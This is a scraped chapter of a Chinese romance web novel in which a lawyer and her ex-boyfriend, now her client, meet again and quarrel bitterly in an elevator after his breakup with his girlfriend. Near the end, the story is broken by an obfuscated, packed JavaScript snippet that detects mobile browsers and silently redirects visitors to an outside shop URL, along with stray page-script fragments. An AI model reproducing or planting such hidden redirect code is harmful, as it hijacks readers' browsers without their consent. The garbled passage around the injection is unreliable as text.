文趣网 > 其他小说 > 前陈似锦 > 27. 第 27 章
    “上周就听说贵司成功拿下了同尘的法律顾问,一直还没来得及恭喜你。”郑靖仪搂住陈牧州的腰,温温柔柔的跟他发号施令,“哥哥那边我是管不了的。不过你嘛,可要对梁律师好一点。”

    梁似锦客套笑着,眼睛看过来,等陈牧州的答话。

    可他懒得演戏。

    梁似锦莞尔一笑,“倒也不必陈总格外关照。您给开工资,我自然得按薪酬做好分内的事。”

    陈牧州望着她,酒精在脑子里蒸出一团雾,他想透过这团水汽看清楚眼前这个人,总也徒劳无功。

    梁似锦避开眼神,已然是待不下去了。

    “我还有工作没处理完,失陪了。”

    等人走远,郑靖仪松开自己的胳膊,又恢复到从前客客气气的样子,跟他保持着一段社交距离。“人家把自己摘得干干净净,根本不领你的情呢。”

    陈牧州的视线在她身上逗留了一瞬,借身后的柱子支撑柱摇摇欲坠的身形,却始终未曾争辩半句。“我刚才的提议,你考虑好了给我答复。”

    郑靖仪身上有一股不可弯折的傲气,宁肯玉碎不肯瓦全。她不想听他说什么,也不在乎他想什么,她只想告诉他自己心里怎么想。

    “怎么不回答我的问题呢?你以为跟我分开后,她就会重新回到你身边吗?我告诉你,别做梦了,我诅咒你们绝不会有好结果。至于我嘛,不用你可怜,我有喜欢的人了,比你强一万倍都不止。”

    陈牧州愣了一下,没想到她竟如此放得开,半晌才能道一句“恭喜”。

    “你恭喜我?”郑靖仪心中酸楚,语调滑稽地问:“恭喜什么?恭喜我在关系存续期间给你戴了顶绿帽子吗?你这样的反应,未免也太无情了吧。”

    反正陈牧州说什么都是错,做什么也是错,只能退一万步问:“不然呢?我应该大发雷霆吗?”

    郑靖仪想,如果情绪失控,起码代表着他心里有自己吧。“你会吗?你在乎吗?”

    冷光落在他高挺的鼻梁上,男人的目光沉敛如深潭。

    “对不起靖仪,当初跟你在一起的时候我就说过,现在的我没有办法百分之百去爱一个人。假如爱情在我这里只有百分之六十的份额,那我可以明确的告诉你,这百分之六十也全都给了你。”

    郑靖仪知道,陈牧州说的都是对的。

    因为被爱情冲昏了头脑,早在这一段感情开始之前,她就无视了这个男人给她的忠告,执意进入他的生活,还信心满满地认为自己能够填补他心中的伤痛。

    可到头来,依然以失败而告终。想要百分之百占据他的心,不是靠努力就可以做到的,因为她不是在和他一个人战斗,她是在跟一个男人有关初恋最美好的回忆、最深切的感受和最刻骨铭心的伤痛在战斗。

    她没有自己想象中那么坚强,甚至不堪一击。所以在明知梁似锦已经是个过去式时,却依然羡慕她曾经得到过陈牧州百分之百的爱。

    像他这样的人,长相英俊,人品端正,事业有成,给了情窦初开的自己关于爱情的全部想象。她甚至把他想成一首诗——

    蒹葭苍苍,白露为霜。愿言随之,道阻且长。

    这样的男人错过了,以后再也不会遇上了。就算遇上,她也不会再像现在这样炽烈真挚的爱一个人了。所以某些时候,郑靖仪能够共情陈牧州对梁似锦的感受,可她怎么能感同身受呢?她不能成为他的共犯,更无法同情一个亲手扼杀了自己感情的刽子手。

    “我还没跟家里摊牌,如果我哥问了,记得帮我挡一下。”

    大概是心中有愧,他没有拒绝。

    “问你个事呗。”

    “你说。”

    “我们分手后,你会跟她和好吗?”

    陈牧州低着头,情绪并不分明。

    郑靖仪想,不管他回答什么,这件事本身就已经是对自己最大的不尊重了,可她还是要问,“怎么不回答呀。”

    短暂的沉默过后,陈牧州才说,“我没有想过这个问题。”

    他们都在时间的洪流中被炼就了一副钢筋铁骨,怎么可能再回到从前的赤诚天真呢。

    “是得好好想想。别管她曾经多么爱你,毕竟都分开那么多年了,谁能保证永远不变?”郑靖仪嘲讽道:“更何况人家当年既然能提出分手,怕是也没有多爱你。再来一次万一又分了,那你可真是难以收场了。”

    狠话说完了,巨大的委屈是伴随着再也无法挽回的事实一起来的——假如她不那么计较,假如她不把自己看得那么重,假如她能把嫉恨的情绪放下,假如她陪着他一点点把爱情的份额扩大……那么这一切是不是就还有挽回的余地呢?

    开车回去的路上,郑靖仪哭得不能自已。

    突然接到左尔恪打来的电话,她把车停到路边,三两下抹干了眼泪。那边问她在做什么?郑靖仪简短回答了几句,左尔恪还要再说些什么,她却匆匆打断了他的话,含蓄问:“教授,我能不能去宿舍找你?”

    *

    梁似锦回到办公室,外卖盒子还没拆开就接到了余雨桐的电话。

    她问:“你加完班了吗?”

    “还没。”

    雨桐知道眼前这份工作对她来说很重要,否则一个下班后能回家绝不在外面停留的人不会拼命至此。

    “你办公室有窗户吗?”

    她那边安静的仿佛能听见落针的声音,以梁似锦对她的了解,怕是今晚又要在研究室里通宵了。

    “有啊,怎么了?”

    “看看春天。”

    梁似锦打开免提功能,把手机搁在办公桌上,起身去倒热水,“有什么好看的,不是每年都会来吗?”

    “春天和春天不一样,人们的感受也不一样呀。”

    接着水的空,梁似锦站在窗前,望着对面高楼璀璨的灯火出了会神,“你又研究出什么新数据了?”

    “不是现在才研究出来的,科学家早就发现春天是抑郁、焦虑、双相复发的高峰期,而花粉和尘螨过敏又加剧了这种情绪障碍。临床研究表明,三到五月精神科门诊的数量较冬季而言,要上升百分之三十。”

    梁似锦按住暂停键,清晰绵延的水流声停了。她感慨道:“好像真是这样。有些人的春天格外漫长。”

    “似锦。”

    “嗯?”

    “鹏举最近还好吗?”

    问题猝不及防,梁似锦不知该如何作答。看来春天不止让人抑郁,还会让前尘往事借尸还魂。

    她低头看了看手中的杯子,里面的水摇摇晃晃,满到就要溢出来,就像一个人对另一个人的爱意,总会在某一个时刻露出马脚。

    “你让我怎么回答?”

    “算了,不想听你说扫兴的话。”

    雨桐的爱情是一片没有回声的旷野,她习惯了在空旷无人的地方漫步,偶尔需要停下来聊一聊那个人,这样短暂的休息过后,她会在没有终点的永恒里继续孤独的走下去。

    “对你和鹏举来说,春天应该不再是黑色的了吧?”

    浓稠的散不开的黑色笼罩了七年前的春天,鹏举检查出肺癌晚期,爸爸跟梁似锦彻夜长谈,她与陈牧州分手……短短几个月,连花期都结束了,她的时间却仿佛凝固住一样,永远停留在永夜。

    梁似锦把接好的热水拿回工位,对这个话题避而不谈,“反正也不会变成粉色就是了。”

    余雨桐笑了,又问:“你还要工作到很晚吗?”

    “刚接到信息,负责审核方案的人不回来了。我这就回家。”

    “路上小心。”

    “你也是,不要通宵熬夜。”

    “让我跟梁鹏举在一起我就答应你。”

    “……去熬夜吧。”

    “……好。”

    挂断电话后,梁似锦翻了翻自己的包,从里面拿出个帆布袋,将外卖盒放进去,熄了灯便往外走。

    为了节约能源,办公区走廊里装的都是感应灯,人走灯灭。直到电梯门重新打开,在过分明亮的顶灯下,她又看见了陈牧州。

    梁似锦估算了一下时间,心想怎么这个时候又遇见他?要说约会结束了吧,时间未免太短了,要说刚开始,怎么没见他女朋友一起上来?或许是有东西落在办公室了,等他拿完了就再去汇合?想到这里,又觉得自己太没劲了,她推理这个干什么。

    两人仍像早上一样沉默,一前一后站着。

    电梯轿厢里弥漫着淡淡的酒气。

    陈牧州抬头看楼层时,视线总是不可避免的扫过她耳后和脖子相连的那块皮肤。他不想看,避开目光,却又觉得电梯里所有的光都在她身上。于是只好低下头,一半脸隐藏在黑暗里,另一半又被镀上了白光。

    “你怎么回去?地铁已经停运了吧。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878199|212049||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    梁似锦头也没回的说:“打车。”

    “从这儿到梅村?一个小时能到吗?”

    一股无名业火烧上来,梁似锦想起刚才撞见他们的情景就觉得不耐烦。回头看他,一双黑白分明的杏眼里带着三分讥笑:“同尘的企业文化这么亲民吗?老板未免管得也太宽了吧。”

    陈牧州肩线绷的很紧,错开目光,喉结滚动。视线再度落在她身上,语气里带几分怒意。“你真的把我当作老板看待过吗?哪个乙方敢这么跟老板说话?你又凭什么这么理直气壮?提分手的人是我吗?犯错的人是我吗?面对我,你怎么能连一点愧疚感都没有?”

    重逢以来,一直被双方刻意压制住的问题乍然被抬上桌面,梁似锦仿佛被重重锤了一下。短暂的慌乱过后,她瞪着他,眼神很刚。“那你呢?明明有女朋友,为什么要像现在这样旧事重提?我在你眼里是个很随便的人吗?”

    电梯到站,紧闭的缝隙有了一点要裂开的前兆。

    陈牧州突然拽住要离开的人,伸手按了顶层和关门键,电梯门迅速开合了一下又往上走。

    梁似锦挣开他的手,双目横立,充满防备。“你干什么?”

    陈牧州把身体的重量全部靠在按键一侧的轿厢上,两个人改成面对面站着。

    “你问我干什么,我还想问你想干什么?你当初来同尘竞聘的时候就该知道,以后我们根本避免不了像现在这样见面,既然不想旧事重提,为什么执意要来?”

    “你以为我想来吗?让你看到我现在落魄潦倒摇尾乞怜的样子,你以为我心里很自在吗?尤其是我一想到你在背后不知道要笑话我多少次——看啊,这个女人终于得到了报应,谁叫她嫌贫爱富,活该她现在自作自受——一想到这些,我都快疯了。你还问我为什么要来?当然是为了钱啊。怎么样?我就是这么不知廉耻的人,你满意了吗?”

    “我并没有这么想过。”陈牧州的下颌线绷的很紧,眼神里透着隐忍的不甘和沉痛。“怎么直到现在,你还是想当然的做决定?”

    “你不要冤枉人。分手虽然是我提的,可是很平静就接受的人不是你吗?!你试图挽留过一次吗?没有。就连一次都没有。”

    他的不挽留,才是梁似锦根本无法回忆的部分。

    “只有我一个人该死吗?你不是也对这段关系感到犹豫不定吗?为什么你和你的朋友们只会指责我?就因为我拥有的比你们多,所以就该被舆论鞭挞吗?你以前到底是有多喜欢我啊陈牧州?!”

    “因为你对我来说,没那么容易……”他避开她尖锐的眼神,胸膛起伏着,声音变得低沉喑哑。“选择或是放弃,都不能随便对待。”

    让他怎么办呢?父亲病重,家贫母弱,他该怎么让一个从小锦衣玉食,连麦子和韭菜都分不清的人跟他一起撑起生活的重担?她的手从小弹的是钢琴,他怎么有脸让它们沾上泥土,然后在短暂的激情过后,从此生活中就只剩下争吵和怨怼?除了尊重她的选择,那时一无所有的他什么都做不了。

    “别自我感动了。”梁似锦冷笑道:“能不能随便对待,结果还不都一样?你根本也没觉得我们能走到最后。”

    “梁似锦,你讲点道理行吗。”陈牧州抬眸看她,眼底里的涩意浓墨重彩。“提分手的人是你,不是我。你明知道我的犹豫和为难,却还是提了,让我不得不怀疑,是你早就有了分开的想法,所以才趁机脱身。”

    梁似锦望着他,无边凉意渗进四肢百骸,头皮一阵阵发着麻,心想他都看不见鹏举现在的样子吗?难道自己脱身后就是为了过这样的生活吗?

    她气狠了,口不择言道:“你说得对,我就是这么想的。”

    陈牧州面皮轻抖,心想好好的一个人,怎么就偏偏长了一张不肯服输的嘴呢?而他连把吻变成教训的资格都没有。

    “我知道你不是这么想的。”

    “我是。”

    陈牧州仿佛被击倒,脸色苍白如纸。“我再问最后一个问题——跟我分开,你有没有后悔过,哪怕只有一次?”

    梁似锦嘴角轻扬,眼睛里布满寒霜,她狠心道:“没有!”

    那些刻意被压下去的酒意汹涌的翻滚上来,陈牧州极力想维持住眼下的体面,可颓唐的身体再也支撑不住此刻的伤痛,他让自己本来死去的心又死了一次。

    他们之间,只剩下恨意振聋发聩。